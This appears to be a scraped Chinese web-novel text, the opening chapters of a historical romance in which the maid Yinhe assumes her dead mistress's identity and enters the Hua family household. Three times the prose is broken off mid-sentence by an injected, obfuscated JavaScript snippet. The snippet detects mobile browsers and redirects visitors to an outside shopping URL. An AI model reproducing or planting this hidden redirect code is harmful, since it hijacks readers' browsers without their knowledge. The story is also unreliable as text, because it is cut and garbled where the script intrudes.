《银荷》 1. 楔子 屋里暗得瞧不清人脸,两个人立在那儿,低语声像深谷中稀薄的雾气,慢慢沉下来,降入她耳中。 他说:“孤就把她交给你了——她,还有孤的儿子。” “属下明白。” “你在那儿等着,接到人,先顺江往东,百里后再改道,一路去矴州。到了,他们留下,你即刻返回。” “属下遵令。” 侍卫出门后,他拨亮案上的灯,紧靠她坐下。像以往一样,她只敢垂眼朝下望,地上一片晦暗不明。她知道,他的肩上,此时她挨着的地方,有一条龙张着五爪。——矴州,会是个什么样的地方? “阿芫,”他突然开口,环上她的腰,将她拽到自己腿上。她微挣了一下,那只攥住她胳膊的手立马紧紧一钳,她赶忙将手心扣在小腹上,他轻柔地拉开,自己的手留在那儿,接着说,“刚才这个叫路进,我让他带两个人,一路护着你。矴州刺史姓曲——是我放在那儿的。等你到了,凡事听曲刺史安排便是。” 她点点头。 “只好暂时委屈你——不会太久,我要在诏书下来之前动手,事一成就接你回来。”沉默数息,他又说,“假若此次不成,总有一日我东山再起,那时候,我去接你们。信我,有朝一日,你的儿子定会登上大宝。” 天边刚泛一点青,她已装扮成一个小太监,在另一太监身后亦步亦趋。“吴葵,汪善,出宫采买。”门上的看看对牌,头一点。她就这样出了东宫,又出了皇宫,钻进车里。六年前进宫时,她以为自己会一直是个宫女,一直叫何芫,没想到,离开时却成了个叫汪善的太监。她多少觉得好笑。 那道长长的红墙越来越远。她的身子轻轻一颤,心倏地飞走。 她不会再回来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892539|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她飞快换上身小厮的衣服,小心地扎好腰带。她已经有了几个月的身孕,数位太医验脉证实过。胎儿还很小,小到甚至都感觉不到,他们竟敢信口雌黄说是男胎。 登上大宝? 她哼了一声。管他事成事败,此一件,绝不会顺他的意——她知道,肚子里不是一个可能像他的男孩,而是个女孩。不光是因为她的梦,不知为什么,她很清楚地知道,这就是女孩,一点儿都不会像他,但也不像她——她的女儿谁都不像,就是她自己。她一定聪明、勇敢……对,她会长成一个勇敢的姑娘。 何芫不禁露出笑,悄悄掀起车窗,让一缕风拂在脸上。太好了,无论如何,孩子不会生在宫墙之中。她甚至忘了眼前的危途。 这孩子的确不同一般——好像有什么在护佑着她和她母亲,经过一路的山高水险,最后,何芫平安到了矴州。 2. 客栈 矴州和勐州以古塔为界,塔以西矴州境内,多是崎岖小道,过了塔向东,路却突然变得宽整。盖因勐州是通南、北、西的要冲,官道上一年到头都有不少车马经过。 此处刚过勐州西界,周遭还是一派京城人所谓的“荒蛮”景致。这当儿,可容三驾车并行有余的宽道上,只有两驾马车一前一后靠路边行着。车里是前矴州刺史曲慕的孙女,小姐名叫曲由心,刚满了十七岁。 前头马车的帘子忽地掀开,一位少女探出脸,四下张一张,转头伸伸胳膊腿,说:“姑娘,得叔说得没错,出了矴州,往后就好走多了,咱们矴州哪里都好,就是路不平。” 曲由心浅浅一笑。这一笑风清月莹,可随即薄雾又氤氲了春山。 丫环心中自责:“此去京城,不知何年何月才能回来。我倒没什么,去哪儿都一样,姑娘怎么舍得下家乡?我该想法让姑娘高兴,可不能再说这种话了。” 曲由心生在矴州,这是第一次离开。她的祖父曲慕原是京官,因得罪了人,被参上一本,不轻不重安了几个罪名,贬去矴州。这差不多等同终身流放,曲慕带着家眷,再未踏回故土。第八个年头上,他的妻子过世,不到两年,他身染时疫死在任上,也被葬在了那片穷山僻壤。 曲慕死后,圣上念他多年恪尽职守,有意招其独子曲展回京。曲展虽喜读书,却是松下弈棋、雨后挥墨的名士做派,散漫自在惯了。他不愿做官,更不肯离开矴州,安心领了个司马闲职,每日依旧鉴书品云、赏画醉月。 若果能一直如此,大概也不失美满。不幸的是,父逝后不久,曲展的发妻亦遽然病亡,丢下一个女孩子。尽管无人接香火,曲展也未曾续娶,只独自教养幼女曲由心。谁料去年岁末,曲展突发恶疾,药石罔效,临去前他把由心叫到床前叮嘱一番,安排她投奔姑祖母。丧事刚了,由心就按父亲嘱托,只携了贴身丫环和家中两名老仆,自矴州奔往京城。 丫环便是适才说话那位,唤作银荷。 银荷不多大时便进了曲府,因为聪慧伶俐,做了由心的伴读丫环。由心的大丫环出嫁后,更是只剩银荷陪在身边。两个人几乎一刻也不分开——名为主仆,实似姐妹,既是师生,亦称挚友。此番离家,亏得有银荷和幼时养育自己的邬嬷嬷在旁宽慰,由心才勉强抑住了悲伤,不曾哭倒。 由心身子弱,再加上思父、离乡的忧愁,更提不起劲,在车里不是躺着休息便是半卧着闭目养神。银荷看了着急,想方设法把沿途风光讲得绘声绘色,指望能为由心解解愁闷。 进入勐州,路上渐渐热闹,时时都有或骑马或乘车的旅人交错而过。 这日,将至勐州东界,忽闻得得的马蹄声急敲,越来越近,银荷忙挑帘看,只见一行九、十人从后打马而来,为首的两三人骑着高头大马,气概非凡。 马群疾风般从车旁卷过,银荷艳羡不已,直看得呆了。平日里她最爱干净,这时候尘土扬到脸上也不在意,只随便扇了扇。 “什么人过去了?”由心好奇问道。 其实银荷并没看清那些人高矮胖瘦、是黑是白,只有个隐约的印象:是些衣饰华贵的青年男子。她本来为瞧个热闹,被小姐这么一问,倒有些害羞了,放下帘子,讪讪地说:“姑娘,是些挺威风的人,骑着大马披着大氅的,我看多一半像书上讲的马匪。” 由心微笑:“你可是迷了眼了,清平世界,好端端哪里来的响马?” 银荷见小姐几日来难得露了笑,有心逗她多说几句,便道:“那有什么,要是给我一匹马一把刀,我也能扮一个。”她抬起胳膊横在胸前,假装握了柄大刀,轻蔑地扬起下巴,粗声粗气地说,“此山是我开,此树是我栽,非要从此过——爷爷我管杀不管埋!” 由心果然笑得歪倒:“原来用功一场,净学了些没正经的东西。” 银荷不好意思地笑笑,过了一会儿,还是忍不住向往地说:“要是我们能骑马就好了,日行千里,可有多美呀。” “不止日行千里,还可能掉进沟里呢。” 银荷知道由心是取笑她儿时偷骑老爷的马,从马背上摔下的事故,撒娇道:“姑娘还没忘呢。那回老爷生了好大的气,要不是姑娘求情,说不定我都被打死了。” “父亲不过说说罢了。后来罚你不准用饭,我给你送吃的,他也知道,还让我多拿些。” 再没有老爷那么好的人了。银荷惆怅地想,忽地看到由心眼中泪意,忙找话来岔,问:“姑娘你说,姑老太太会不会很严厉?” 由心又笑了,说:“父亲的确说姑祖母对子女要求甚严。姑祖父虽不在了,后辈们倒不是全靠祖荫。不过我想姑祖母对孙辈是很和气的。” “姑娘可是有不少表兄弟表姐妹?”银荷赶忙问。 “这些父亲倒没和我细说过,好像是兄弟比较多,也有两三个姐妹。” “那我就明白了。”银荷做出恍然大悟的样子,“姑老太太家里有那么多表公子,所以时常来信,邀老爷带姑娘进京去走走。老爷就姑娘一个,当然轻易不得答应。老爷是这般打算:等到了姑老太太家,慢慢熟悉后,若姑娘能挑个合意的,最好;若表公子样貌稍微粗陋些,姑娘瞧不上,做寻常兄妹也无妨。故此先不说定,还有个退步处。” 由心早就面上飞红,板了脸道:“又是从哪本书上学来的,这种话也说得?无论哪位表兄弟,我都当心怀尊敬,也当自重避让,不然成什么了?” 便是由心不说,银荷此时也已后悔,虽是为姑娘逗趣,可也太亵渎了。她急忙道歉:“果真是我混说。姑娘最疼我,饶我这一遭,以后绝不了。” 由心岂不明白意思,伸手打她一下:“白教了你,还依样貌分亲厚,真没羞。” “我记得——‘结交在相知,骨肉何必亲。’样貌自然更不能算。姑娘的表姐妹兄弟,必定都不像我这样浅薄,姑娘多了他们作伴,能相处亲厚,岂不很好。” 由心轻叹说:“到底我没关系,即便去了,也和在家时一般,只是委屈了你。” “不会。我只好好跟着姑娘,管其他人呢。” 由心点点头,握住银荷的手:“父亲虽未明说,本来他要安排——反正我有主张,只是不知……”她就不言语了,目中犹含悲色。 银荷调皮一笑:“我懂了,姑娘是怕到了姑老太太家,我还这样少规少矩、没大没小,惹人笑话,给姑娘丢脸。姑娘瞧我罢,看谁多长一只眼,能挑出我毛病来了?” 由心不由也笑了:“你才见过几个人,京城大户人家里头的,恐怕哪个都多长着几双眼。” “让他们长去,我不怕。就是见了皇帝我也不怕的。” “等见到时你再说这等大话。” 说着说着,身后日头渐向西沉,又走了小半个时辰,碰到一座驿馆,一行人便停下休息。 一路上投宿之处都是些中等客栈,这里倒是难得一家大店:前后四进,左右三跨,一二十齐整打扮的小厮里外奔忙不停。——在要路上,客栈的生意十分兴旺。 赶车的李得已要了三间屋子,同店伙去牵马、卸车。邬嬷嬷想起还有一只包袱放在后头车上,让银荷去找,又怕站在风口,便先扶了由心往里院走。 没走几步,大摇大摆晃出来一位花花太岁,老大不客气地打量由心,恨不得眼睛能在她的帽帘上钻出两个洞。由心何曾受过这种侮辱,气得直抖。邬嬷嬷瞪了那人一眼,扶着由心快步走了。 银荷取了包袱进屋,邬嬷嬷便问:“你可见那挨刀的腌臜家伙不曾?” “什么家伙?”银荷诧异。 邬嬷嬷便向她骂一回。银荷恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他撩起袍子下摆抖抖:“不妨不妨,不要你赔衣裳。到了我家里,怎样的衣料随你捡了穿,也不使唤你做这些粗活。只要你惯会的——调调弦,弄弄管。” 姑娘冷笑着说:“我惯会杀猪,你家里要不要。” 双吉咧咧嘴,这姑娘身形好看,声音好听,直溜、脆嫩,新长出的小竹子似的。 葛全有愣一忽,又笑:“要,都要。你们小姐呢,喜好什么?” “你问不着!” 双吉听出她扭身要走。 不过葛全有拦住了。“我叫葛全有,随便打听,都知道我。我有话想对你们姑娘说,她现下要是不方便,我就先找你。” “没工夫,少和我充神坐庙。全有全无,我们姑娘都不认识。劳烦公子站开点儿。” “想认识容易。只要你肯,可有想不到的好处。” “我没这么大脸和公子结交。我看公子像个人才,我家老爷必定喜欢。若你有话,求见了我们老爷再讲。” “哦?是哪家府上?改日必备得厚礼,亲自去拜见你们老爷。眼下,咱们两个先近乎近乎。” 双吉听葛全有声音一变,急忙探头瞧,正看见姑娘躲得快,没被葛全有摸到脸。 这回姑娘真的是大怒:“我看你是茅坑边打铺,离死(屎)才近了。” 双吉愈发着急:虽说这姑娘不至于在葛全有手上吃了亏——听她一口脆生生的官话,像是京里来的,不知哪家,反正,就连公子爷家里,也找不出这么俏的丫头——可她受气,也令人不忍。她家人都睡着了吧,怎的还不来? 可惜,公子爷不是怜香惜玉的性子。 正着急,双吉看见公子爷做个手势,大喜,冲上去说:“葛大爷,原来你在这里啊。我们爷在前头喝酒,请你去坐坐。” 3. 姐妹 银荷爬上岸,抄起一块石头,直直向葛全有走去。 葛全有怀抱半昏的玉人,想要轻薄,又有点儿不敢,心里又痒又怕,根本没听见身后的声音。 “咚”一声。由心张开眼,面前不是那张可怕的丑脸,而是银荷焦急的面孔,湿漉漉的,满脸上不知是水、是汗,还是泪。 银荷没事!她心里一宽。 银荷抖个不住,鞋也丢了一只,身上又是泥又是水往下嘀嗒,两人互相搀扶着找到马车。 “你快走呀!”银荷狠心抽打已累得疲惫不堪的马,终于遇上了赶来的李得。 人刚从天然险境逃脱后,遇到陌生人也如亲人一般,而若是路逢恶贼,遭了人祸,则会草木皆兵,对几乎所有人失去信任。银荷、李得便是如此。 这时回想,今早上被客栈伙计引错了路,在荒地里遇见刁民劫车,皆是葛全有那恶徒设计做下的,只因两日前他看见由心与银荷,心生歹意。可是,回想无用,他们也想不到要与谁算账,只盼能早早离开此处,别再被恶人缠住。 与焦灼等待的邬嬷嬷汇合后,一行人赶紧上了大路,恨不得一步不歇,一直飞到京城。 可是由心的身体却实在经受不住。看见李得,一口气一松,她昏睡过去。银荷兀自强撑了小半日,也躺倒了。天黑时他们终于来到个不小的镇子,找了所僻静客房住下,第二日一早便请了大夫过来。 大夫是个胡子花白的老头,看了由心银荷二人,也不说什么,只分别开了方子。又见他们人生地不熟,就在自家给煎好药,着人每日三次送来。 邬嬷嬷起初还怀疑他的医术,但镇上便能找到其他医师,也都是他的徒弟;后来看银荷吃了几次药后大有好转,也就信了,每天只等着药送来,服侍二人喝下,再求菩萨告佛爷几百次,企盼二人无恙。 银荷的病初时来势汹汹,有一两日都不曾清醒,身子烫得像火,呼吸又短又急,看着惊险万分。但退了热后,她便慢慢好起来,只是仍虚弱。而由心却是时好时坏,反复多日。 这天大夫又来,看了由心后神色一变,细细诊脉一回,沉吟不语。邬嬷嬷瞧见不对,悄悄将他请到外面,可望了大夫的眼睛,又不敢问出一句话来。 那大夫看邬嬷嬷手都在发颤,有些不落忍。不过他从医几十年,早已习惯生死,虽然可怜,却无法回避。他摇摇头道:“你们是外面来的,我便实说罢,这位姑娘没多少时候了。她胎中带病,先天不足,便是这次侥幸医好,病根仍在,总也不能长久。在下行医三十年,不敢自称医术如何,只敢说这周围确也找不到其他人能治。远处试试或许可以,就怕赶不及。” 类似的话,邬嬷嬷这些年已听过几回,不是全无准备,可是如今没有老爷,该如何…… . 由心在梦中,前尘往事好像叫人画出来了,一幅幅呈在她眼前: 最先看到母亲的笑脸。由心想:一点点小事就能让娘欢喜,可是因为我常常生病,她暗中淌了多少泪啊。 没想到爱笑的母亲去世了,那时的悲痛不敢回忆,她快快向后看去。父亲对她说:“我不愿你孤独伤心。”他转身唤来一个和她差不多年岁的女孩,“你可喜欢留着她做个丫环,陪伴左右。”她则拼命点头,害怕父亲改了主意。 那小女孩乍一瞧说不上是美是丑:一张圆中带尖、晒黑了的小脸,一双既怕羞又大胆、小兽般的眼睛。 她上去拉了她手问:“我叫曲由心,你叫什么名字?” 小女孩对所有问题都只摇头,但清亮的目光追着自己,似极盼能得到喜欢。 那天恰值荷花盛开,父亲说:“今后这里便是你的家,我们叫你银荷。” 从此后,始终有银荷陪伴在身边。 光阴如箭,她又看到自己跪在父亲床前。父亲说:“我无法再顾你了,身后诸事我已安排好,你去姑祖母处。” 她哽咽着答应,又问:“银荷可随我一同前往?”父亲便长长叹息:“你二人虽情深,但缘法不同,恐来日——”停了半晌,又似自言自语道,“此时又何必拘泥这些个。就一同去罢,你们两个在一处,相互扶持,我也好放心。” 听完这话,她心中安定,就要去找银荷,转头却见银荷和一个不认识的青年站在一起。她看了一会儿,不愿过去打扰。正不知该如何时,猛然又看到母亲在不远处,正朝着她微笑。 由心似喜又悲。重见母亲,了此病苦,自是欢喜,可是,银荷…… 正在迷茫间,听到有人叫“姑娘”,由心一怔:“银荷在哪儿唤我?对了,我还是在梦里。”她望向母亲,母亲点点头,她便明白过来,打定主意,朝那呼唤的声音所在走去。 由心醒转过来时,银荷和邬嬷嬷正坐在床边。银荷立即抹掉眼泪,喜道:“姑娘醒了,可想吃什么,我去看看。” “等等,”由心拉住银荷的手。“刚刚,我梦到咱们小时候。那时我总想有个姐妹,就来了你。我心里头一直当你是亲妹妹,以后你就叫我姐姐吧。” “姐姐——” 由心又说:“我想着将来无论如何,好歹咱两个彼此是个依靠。可如今我——我去见爹娘,别无牵挂,只是不放心你。” 银荷本来见由心容色安宁、话音清楚,以为果真就好了,听到这话,大惊失色。 由心说:“别伤心了,咱们以前有过多好的日子。” “以后也要一样。”银荷急忙说。 “以后你也一样,还要更好。不过我不能多陪你了。总归会有一别,别难过,我一点儿都不怕,只要你再答应我一件事。” “不行,不行。你会好的,邬嬷嬷你快劝劝姑娘。”银荷着急大喊。 邬嬷嬷流泪道:“你先听了姑娘的话。” 这时由心早已不支,用力拽着银荷,喘息着。 银荷不忍她再强挣,泣不成声道:“姐姐,我都答应。” “银荷,好妹妹!”由心亮闪闪的眼睛望着银荷,慢慢说,“可惜咱们女子,常常身不由己。我这一去,不能丢下你漂泊无依。好在不必另寻安身之所,你便仍去花家,——不是我硬要为你安排,我自有一番道理。你也切莫觉得寄人篱下,只好生过着,将来……” 银荷愣住。 由心微微笑着:“我要你替我去花家,见姑祖母。要你作为曲家女儿去。” “这可不成!”银荷又急道,“我可以替姐姐做别的事,无论什么,但是我怎么能——” “银荷,”由心攥紧她的手,“我在梦里有一种感觉,现在没法细说,你相信我。况且这也是现下最好的法子:姑祖母早盼我去,她已年迈,若听到消息伤心致病,我如何过意。你此去,一则可为我全了孝心,二则你可得庇护,我也就心安了,正是两全之法。倘若咱们掉个个儿,你不也是这样想?原本你我就一个人似的,如今怎么不算?你向来通达,只要守着你的本心,在哪里、做什么,都一样。” 听到由心用尽气力讲出的肺腑之言,银荷唯有点头应允。 由心另一只手摸出一块玉石,塞入银荷手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892541|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这个你留着带在身上,算我为你讨个平安。这原是母亲的,她若知道我认识了你,一定也为我喜欢。你不用常常念我,从此以后银荷是你,由心也是你。替我照顾好自己,替我好好活下去,你要像以前一样,快快乐乐的,这样我才高兴。” “你放心,姐姐……”银荷哽咽道 “帮我把得叔叫进来,我还有几句话要对他说。”由心放开银荷的手,疲倦地合上眼睛。 “姐姐……”银荷再也忍受不住,叫进李得,又跑去旁边屋子埋在被中大哭一场。 这以后,由心就未从昏迷中再醒转。银荷握着她的手,一时絮絮地向她说话,一时又默默在心中祈祷。可叹世上最最纯洁、真挚、无私的愿望也难免有落空之时,第二日早晨,由心睁眼瞧瞧银荷,露出一点笑容,就此去了。 为由心最后一次打扮好后,银荷无知无觉,呆呆坐着。直到他们过来唤她“姑娘”,她才回过神。以前所有人都喊她银荷,现在邬嬷嬷和李得却立在她面前,请她拿主意。 银荷依稀感觉当时葛全有还有一口气,她最后悔的便是没砸死了他。她咬牙切齿道:“去找那狗贼,我要他给姑娘偿命!我敢上公堂,汤里火里我都不怕,在哪里我也有理!” 邬嬷嬷坐下,斟酌一番道:“如此一来你又怎么办呢?姑娘就是担心,才千万嘱咐过你。如今你要为姑娘,本没错,可是反倒辜负了姑娘为你的心。我看还是按姑娘的意思,你先上花家去。” “我不能就这样丢开姑娘。”银荷扑在邬嬷嬷怀中,任由眼泪流淌。邬嬷嬷也陪她一起哭起来:“不是我要拦着,要是能为姑娘出口气,我哪怕豁出命去。——只怕姑娘在泉下难安。我已经负了老爷的嘱托,不能再负姑娘。你从来听姑娘的话,就再听最后一次。你若有个什么,来日我可怎么去见恩人们呐。” 邬嬷嬷少时在矴州遇事,恰被曲慕所救,将她收留在府中,从此后她便衷心耿耿,甚至不肯嫁人,只把曲家人当作自己的家人。由心幼时起便由她照顾,她一心总想着要为由心好,而现在,又依由心的遗愿,开始全心全意替银荷着想。 她一时擦干泪,又说:“前头我和李大叔两人商议过,咱们去告状,官府也不是立即就能拿人,万一那狗贼倒打一耙,往姑娘身上泼脏水?难道姑娘死后还不得清静,要让贼人的脏嘴乱嚼?再者,别说咱们这么几个人,就是京里派来的官,还‘强龙不压地头蛇’,就怕最后也奈何他不得。” 李得亦在一旁劝说道:“要姑娘入土为安吧。还是先去花家,找个靠山,再图后计。” 银荷本就是个不谙世事的丫头,只道冤有头债有主,害人须得偿命。依她自己,痛痛快快杀了葛全有最好,但官府是要如何实施她并不懂。李邬二人来回劝她,她也只得把这个心思暂且搁下,一切都交由李得操持安排。 那位老大夫再没想到有人会把小姐充成是婢女。他潜心医学,少问世事,只道大户人家自也有这般娇养如千金的丫环,并不以为异。何况由心是他亲自医治,夭亡虽可惜,但也不反常,他早就料到了。 由他出证实,便是按照病死一个丫环报给官府。这种事情没什么大不得,也无人过问,李得和邬嬷嬷怕引起怀疑,不敢厚葬由心,只好找了间寺庙,简单做了法事,将由心葬在庙后。 银荷失去了世上最好的朋友,最亲的姐妹,仅有的亲人。她跪在低低的坟头前,为由心祭了酒,悄声念道:“姐姐,你安心去吧,我会好好的。你等着,等那恶人偿了命,我再来带你回家去。” 4. 花府 花府上,大丫环邀月正忙着奉茶。 自一个月前,花家老太太收到矴州来信,得知娘家侄儿病逝,侄孙女已启程来京,老太太的心就没放下来过。 左等右等,终于在昨日又得到信。今天一大早,天还没亮,老太太就打发车子去城门外候着了。 这时候,媳妇、孙媳妇们已请过了安,老太太没发话,谁也不敢走,都等着与曲家表小姐见面。 喝完两盏茶,该说的话俱已说过。邀月看到了老太太平日打盹的时辰,劝道:“先歪会儿吧,曲姑娘她们走西门进城,要到这儿且早呢。” 老太太同意去休息,犹自不放心,让人给管家媳妇传话,一定要她待在门口,曲姑娘一到就立即领进来。 邀月又说:“几位太太也该回去歇一歇。” 老太太笑了:“我也真糊涂,亏你提醒。她看我们一屋子的人,挨审讯似的。晚些再见不迟,先认识了姐妹,自在些。” 于是老太太去休息,三位太太各自回房,厅里就还剩下两个年轻媳妇和四位大姑娘。这是老太太的两个孙媳妇,两个孙女,以及孙女的两位表姊妹。姑嫂六人围桌坐着说话,倒是其乐融融的样子。 大奶奶郑瑷宁近日又犯了失眠症,为打起精神,用力按着眉心。 大太太的侄女、表姑娘郭诗钰见了说:“姐姐这一向还是睡不好?上次的香若好用,我再给你配些。” “那还得多加沉香。不过上等沉香难得,次的就欠点儿意思。”瑷宁道,“上回那些虽没用,但味道我果然喜欢。我在屋里时总燃着,看见你表哥要下值才拿开,敞窗通风。——他闻不惯,说家里乱七八糟的香味,吃饭时败坏胃口。” “是我没调配好。”诗钰低着头说,“我回去换几样,再请嫂子试试。” “我随便说说,你也太当真客气了。外头什么买不到,哪有让客人辛苦的道理。”瑷宁嘴边半噙着笑。 二奶奶韩映雪这时说:“待会儿咱们又多一个姐妹了。昨天听到信我就等不及了。只是这曲妹妹实在可怜,大老远来了这里,不知习不习惯?” 瑷宁也叹息:“其实要论起来,京城才是她的家乡,这也算是回家来了。” 二姑娘花瑛道:“不知这位表姐是不是会像宝画表姐或是宝屏表妹。宝画表姐可漂亮哪。” 映雪说:“我还没看见过宝画妹妹呢。” “早两年她爱来玩。”瑷宁说,“后来大了,各家有各家的事,还老厮混在一起吗。” “毕竟是姐妹。”映雪又说,“这时候该把屏妹妹请来,她们堂姊妹自然更亲了。” “来日方长,咱们这些人就够聒噪了。”瑷宁笑道,又说,“舅老太爷当年也是才子状元,这位表妹没准是大才女。” “那好哇。”花瑛说,“可惜她没生在京里,不然一准能比下任姑娘,第一才女就在咱们家了。” 映雪便笑着说:“任姑娘有那样厉害,我不信,你们这些人竟都比不了她?” “我听人说卫公子赞她的画有‘摩诘之风’呢。”花瑛道。 “三妹未必就没什么风?”映雪笑指三姑娘花瑶,“我瞧瑶儿画得多好啊。” 花瑶本正呆呆听着几人说话,冷不防被提到自己,颇有些慌乱无措,红着脸摇头:“我不过画了几天,还差得远。” 瑷宁说:“三妹妹就是太自谦了,可见是有真本事。你哥哥他们不都说你画得好?你们喜欢画画,我就去打听,谁教得好请来家里。有个好老师,还怕学不成大画家?” 花瑶感激又羞涩地看着大嫂,一时没想好要还是不要。 另一位表姑娘是二太太的外甥女,名叫戚晚。她一直安安静静没开口,这时说:“我听说有位孟翰林,先前曾教卫公子画画,任姑娘也得过他指点。那位老先生要先看过三幅作品,才决定能不能教。两位妹妹都画得这样好,一定没问题。若是请了他来,我也跟着长长见识。” 花瑛已经转开头,只管去和嫂子映雪说话。 花瑶正坐在戚晚旁边,听到这些,脸更涨红了,小声地说:“我随便画两笔解个闷儿罢了,哪里就当真学起来。我不想学。表姐画得比我强许多,去请他才好。” “我并不是。”戚晚一下子臊得脸通红,也不说话了。 瑷宁见状,连忙岔开。她虽讨厌戚晚,但这当儿要是姐妹认真拌起嘴,谁再掉几滴泪,她这个大嫂就更难办了。 其实瑷宁最近休息不好,多一半是因为心里不能安定,心里的不安定又多一半是为郭诗钰、戚晚两人起的。 老太太不止一次夸过这两位表姑娘。疼爱小辈是人之常情,本不算什么。可老太太还没个重孙子呢,怎么可能不盼着。瑷宁觉得自己的多心绝非毫无根由。 自然,两位表姑娘不是没来没历的人:郭家现今虽落魄了,郭诗钰又是旁支庶女,到底是大太太正经的族侄女;另一个是穷秀才的女儿,父亲死后,跟着改嫁的母亲,也进了个殷实人家。 两人正是老太太喜欢的清白人家的闺女。可按说,清白人家大都有骨气,不愿意好好的女孩儿给人做小;就算家里穷点,有两位太太帮忙,什么事不能解决?至少为姑娘们找门好亲事易如反掌。 谁知,两位太太却先后领她俩来花家长住下,很难让人不作他想。 何况两人确实长得千娇百媚,成日“嫂子”长“嫂子”短围着她献殷勤,瑷宁实在是心口发堵。 不过她相信自己的丈夫,知道花沛眼下未生二心,但也只是“眼下”。只有千日做贼,哪有千日防贼,瑷宁到底不痛快。 而现在,嫌不够热闹似的,还要再来一位表姑娘。 当然,这位表姑娘不同,是老太太的娘家至亲,差不多相当于又一位小姑。那也不好应付,谁晓得这姑娘是什么脾气。姐妹间要有个厚此薄彼,会不会又有谁闹意见? 瑷宁正暗自叹着,突然院子里的小丫环急急走进来报:“曲姑娘的车子到门口了。” 几人忙起身,纵然衣服并没乱,也叫丫环整理整理。 老太太这时被邀月搀了出来,也不坐下,就立在厅中等着。众人之中,没有谁见过老太太这个样子,一时间大家不由都紧张起来。这里头好奇有之,同情有之,担心亦有之。 好奇曲姑娘会是什么模样;同情她无依无靠、远道投亲;担心的则是怕这姑娘无甚招人稀罕之处,令老太太落得失望——甚至或许有心思狭促的,却巴不得如此,好瞧热闹。总之,当管家娘子进门时,所有人的眼睛都齐刷刷落在她挽着的女孩儿身上。 老太太已不管不顾搂住了那姑娘,连声说:“像,像……”是想起了年少时的弟弟和侄子。 其他在场之人皆是小辈,未曾见过曲氏父子,自然想不出二人当年是怎样的大好才貌,但此时俱已看清这位曲家女儿确实秀色夺人。纵使经历长途跋涉,略染疲惫之色,也掩不住天然一段芳姿:影如风摆新柳,娉娉袅袅,宜动宜静;目似月笼澄潭,盈盈脉脉,难写难描。 大家眼看到,心赞到。要说府中目前这几位姑娘也是无不出众,在一起花团锦簇,散开来各有千秋:二姑娘娇,三姑娘柔,两位表姑娘一个倩丽大方一个妩媚含蓄。偏生这新来的表姑娘还能美出别样,清雅中透一抹明媚,明媚中多一丝宛转,宛转中又添一点生动。谁知那矴州是何等样的山水,竟能养出这般的人儿! 老太太拉住银荷,不知怎样心疼才好,好一时才想起坐下,搂她坐在身边,含泪说:“早几年我就想把你接来了,你父亲却不允,他也不肯回来看看。还有你祖父,就算和你伯祖父有疙瘩,这么多年哪有解不开的。唉,如今姊弟三人里面就剩了我一个。曲家子侄里面,我最喜欢你父亲,他竟也……没想到一别二十多载,我竟再没见到。” 在银荷眼中,这是一位慈爱又不乏气度的老人。要是由心姐姐还活着,这便是在世上她最亲的亲人了。银荷心想,喉咙一下子哽住了。 “父亲也一直念着姑祖母。只是母亲是矴州人氏,不愿离开故土。母亲去后父亲始终不得开怀,他曾说:‘我虽记挂京里的亲人,但回去的心思却越来越淡了。我在矴州多年,又成了家,不能算做异乡孤客。况你母亲家中已无其他人,我不能再离开,丢下她孤孤零零。’父亲原先是想要送我回京,只是我也不忍父亲孤单一人,愿陪在父亲身边,略微尽孝。如今姑祖母疼我,我便把这里当作自己的家。” 老太太就擦泪笑道:“对,正该如此。你和你父亲都对。我也不是真埋怨他,便是先前有点儿,看见你也不怨了。我知道你是个好孩子,别伤心了。来,先见见你嫂子、姐妹们。” 于是瑷宁、映雪和几位姑娘围上前来,挨个与银荷相认。各人叙了姓名年岁,姐姐妹妹称呼着。大家又向银荷问了些话,她均按照由心语气一一作答。 众人瞧她比实际年龄似还显着小些,却已行止有度,说话间语调轻柔,情真意切,也并不顾影自怜,实是位教养很好的少女,与京城闺秀一般无二;且她举止中更有一派天真,便是偶有不大合规矩处,也丝毫不显生硬粗鄙。谁也不敢说这样一位姑娘还有欠缺,大家惊叹之余,再无挑错的心思。 说了一会儿话,老太太想着赶路辛苦,就叫丫环织雨带银荷先去休息。 织雨知道老太太已选了自己服侍表姑娘,又亲眼看到这位表姑娘品貌无双,心里很欢喜,一路上说:“姑娘,慢些,留神脚下。咱们这是往清圆居去,要走几步。以后姑娘住在那边。虽离老太太稍远些,但清净,在咱们家也算是顶好的地方了。” 银荷只觉得这府中处处都好。从外面看时,层楼叠榭,幽深壮丽。待进来后,方知内中犹有大丘壑。前院屋宇之气派轩昂毋庸赘言,更妙在举目之内皆是清樾,若隐若现又遇花香,楼阁众多却 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“这个地方倒让我想起了过去家中时,我和……”银荷差点儿说出姑娘二字,赶紧住口,见织雨还等着听她说,顿了顿又说,“过去我身旁有个姐姐,我们两个常在池边亭子里下棋。可是来时路上她生病故去了。”银荷说着就红了眼眶。 